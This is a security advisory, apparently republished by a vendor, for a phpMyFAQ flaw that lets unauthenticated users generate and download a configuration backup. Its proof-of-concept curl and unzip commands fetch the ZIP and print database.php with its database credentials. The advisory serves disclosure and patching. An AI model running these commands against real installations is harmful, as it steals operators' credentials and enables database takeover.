GHSA-9cg9-4h4f-j6fg
HIGHphpMyFAQ has unauthenticated config backup download via /api/setup/backup
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
thorsten/phpmyfaq🐘thorsten/phpmyfaqReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An unauthenticated remote attacker can trigger generation of a configuration backup ZIP via POST /api/setup/backup and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., database.php with database credentials), leading to high-impact information disclosure and potential follow-on compromise.
Details
The endpoint /api/setup/backup is reachable via default rewrite rules and does not enforce authentication/authorization or API token verification. When called with any non-empty body (used as an “installed version” string), the server creates a ZIP archive inside the configuration directory and returns a direct URL to the generated ZIP file.
Relevant code paths:
- Rewrite rule exposing the endpoint:
phpmyfaq/.htaccess:RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA]
- Controller implementation:
phpmyfaq/src/phpMyFAQ/Controller/Api/SetupController.php→backup()- No call to
hasValidToken(),userIsAuthenticated(), or any permission check
- No call to
- Backup creation:
phpmyfaq/src/phpMyFAQ/Setup/Update.php→createConfigBackup()- Writes the ZIP into the config directory and returns a public URL under
content/core/config/
- Writes the ZIP into the config directory and returns a public URL under
PoC
Replace BASE_URL with your instance URL.
- Trigger config backup generation without authentication:
BASE_URL="http://localhost"
curl -i -X POST "${BASE_URL}/api/setup/backup" \
-H "Content-Type: text/plain" \
--data "4.1.0-RC"
Expected result: 200 OK with JSON containing backupFile.
- Copy the
backupFileURL from the JSON response and download it (still without authentication):
# Example (replace with the exact URL returned in step 1)
curl -i "http://localhost/content/core/config/phpmyfaq-config-backup.YYYY-MM-DD.zip" -o phpmyfaq-config-backup.zip
- Verify sensitive content exists in the ZIP:
unzip -l phpmyfaq-config-backup.zip
unzip -p phpmyfaq-config-backup.zip database.php
Observed: database.php is included and contains DB host/user/password.
Impact
- Vulnerability class: Missing authentication/authorization for a sensitive function + sensitive information exposure.
- Who is impacted: Any internet-exposed phpMyFAQ installation where the default
.htaccessrewrite rules are active and the endpoint is reachable. - Security impact: Disclosure of configuration secrets (DB credentials, integration config, etc.), enabling follow-on attacks such as database takeover and data exfiltration.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | thorsten/phpmyfaq | all versions | 4.0.16 |
| 🐘Packagist | thorsten/phpmyfaq | ≥ 4.1.0-alpha | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for thorsten/phpmyfaq. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update thorsten/phpmyfaq to 4.0.16 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9cg9-4h4f-j6fg is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9cg9-4h4f-j6fg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9cg9-4h4f-j6fg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9cg9-4h4f-j6fg in your dependencies?
O3 detects GHSA-9cg9-4h4f-j6fg across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.